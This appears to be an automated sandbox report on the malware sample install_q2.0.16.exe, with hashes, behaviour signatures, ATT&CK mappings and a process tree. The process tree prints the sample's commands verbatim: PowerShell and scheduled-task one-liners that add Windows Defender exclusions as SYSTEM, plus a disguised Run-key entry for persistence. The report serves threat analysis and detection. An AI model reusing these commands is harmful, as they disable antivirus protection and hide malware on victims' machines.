Analysis
- max time kernel
146s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/09/2026, 12:57
Static task
static1
Behavioral task
behavioral1
Sample
install_q2.0.16.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_q2.0.16.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_q2.0.16.exe
- Size 25.4MB
- Sample260905-p7dfjacp3x
- SHA256 6bbf261977732229d43e3a8d4d010b42a38e7cc12151c754223a00d290eb6c3c
- MD5 cd1e9d15511b7c123d7f999f31101b65
- SHA1 93931ae11cb35e4b126cd872ec4b540e57ff3167
- SHA512 100f677c95bc5598db42a29316f6fc1139ba69303401cbf1dafd4a0657d936b357f3123609ad101893add7fa1990310821b1ccad25aeef3f9b923acd03eb1661
- SSDEEP 49152:GKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46Q:XjAIMaQi7kmeHh2yeH7rkfvVsX+Ng
- TLSH T1EF47E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3032 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 4216 CUbdiQ.exe 1968 CUbdiQ.exe - Loads dropped DLL 2 IoCs
pid Process 4216 CUbdiQ.exe 1968 CUbdiQ.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\mSvcPl\\CUbdiQ.exe\"" CUbdiQ.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2500 cmd.exe 3076 cmd.exe 3060 cmd.exe 712 cmd.exe 4888 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b CUbdiQ.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5044 cmd.exe 3140 cmd.exe 4472 cmd.exe 5180 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6128 schtasks.exe 4212 schtasks.exe 1576 schtasks.exe 4536 schtasks.exe 4532 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 2268 install_q2.0.16.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe 4216 CUbdiQ.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4216 wrote to memory of 3032 4216 CUbdiQ.exe 92 PID 4216 wrote to memory of 2500 4216 CUbdiQ.exe 94 PID 2500 wrote to memory of 4212 2500 cmd.exe 97 PID 2500 wrote to memory of 5728 2500 cmd.exe 98 PID 4216 wrote to memory of 3076 4216 CUbdiQ.exe 101 PID 2500 wrote to memory of 1240 2500 cmd.exe 103 PID 3076 wrote to memory of 1576 3076 cmd.exe 105 PID 4216 wrote to memory of 3060 4216 CUbdiQ.exe 106 PID 3076 wrote to memory of 2008 3076 cmd.exe 108 PID 3060 wrote to memory of 4536 3060 cmd.exe 109 PID 3060 wrote to memory of 1728 3060 cmd.exe 112 PID 3076 wrote to memory of 5516 3076 cmd.exe 113 PID 4216 wrote to memory of 712 4216 CUbdiQ.exe 114 PID 3060 wrote to memory of 3736 3060 cmd.exe 116 PID 712 wrote to memory of 4532 712 cmd.exe 117 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_q2.0.16.exe"C:\Users\Admin\AppData\Local\Temp\install_q2.0.16.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2268
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C:\Users\Public\mSvcPl\CUbdiQ.exe"C:\Users\Public\mSvcPl\CUbdiQ.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:3032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mSvcPl\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mSvcPl\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4212
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5728
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1576
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2008
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4536
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1728
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:712 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4532
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4632
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4888 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6128
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2888
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5848
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C:\Users\Public\mSvcPl\CUbdiQ.exe"C:\Users\Public\mSvcPl\CUbdiQ.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1968
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mSvcPl" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5180 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mSvcPl" /t REG_DWORD /d 0 /f2⤵PID:2508
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C:\Windows\system32\cmd.execmd.exe1⤵PID:3380
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5044 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:5800
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3140 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵PID:5364
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4472 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:4300
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\mSvcPl\CUbdiQ.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mSvcPl\UxEnhance64.dll
- Size 3.1MB
- SHA256 f8854714be0ffef2b99baa69d02263faf6c4ed660d2bf1490bcc53b262c983df
- MD5 98de1e98279fcd9728136da23294ece8
- SHA1 cf276e44a70c0b2c136e8ba04fea5f4c3d9ff173
- SHA512 aa2c1ce4204bd261830d86f505cafa2295a7ccee818c3d6c1cbe43b696fc98c2f8e3d7e6d3ea7d110cb6361122ca5409ff2387902b839d3d62e7071732c303f2
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+T:P9m29xx3Tiqt06ox6+z2rNNrKoT
- TLSH T145E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mSvcPl\adoresd.dat
- Size 4.7MB
- SHA256 a0cfa5606af03c5666b569ebc6317f8ad5532805c3d34af8391db39188cc922f
- MD5 a4adac99dfcb38e0e77726b32934dbc5
- SHA1 df75770e6c91fb93b8fdc46f98d8244525997304
- SHA512 1bab6c08dc9a45340ffec336d2dd76d789ec44ff169196e185975636e1833961ef606e2b47461f38f024d5514fe04efe060dddd207d4f8c253bb4f84c57ec78b
- SSDEEP 98304:6KC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:6KClqhi0Cv54K2IVS0VQg
- TLSH T1CF3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mSvcPl\msadox.tb
- Size 8KB
- SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
- MD5 5c5456d5456a11af49fb071c0abb6073
- SHA1 80ab103fcfd0e3770c98f747d719a121d6e25587
- SHA512 59cf4807b4f3e53e299123a3ab892f20a198d50625606c36ce39a853e9a33565de7a66fbb7fe71f4f4a970c6db65281684a464dedfc2e96aa24fffbb48b31d29
- SSDEEP 192:vqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:vsZqZOXQ3uqvR2Kfzp
- TLSH T10D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH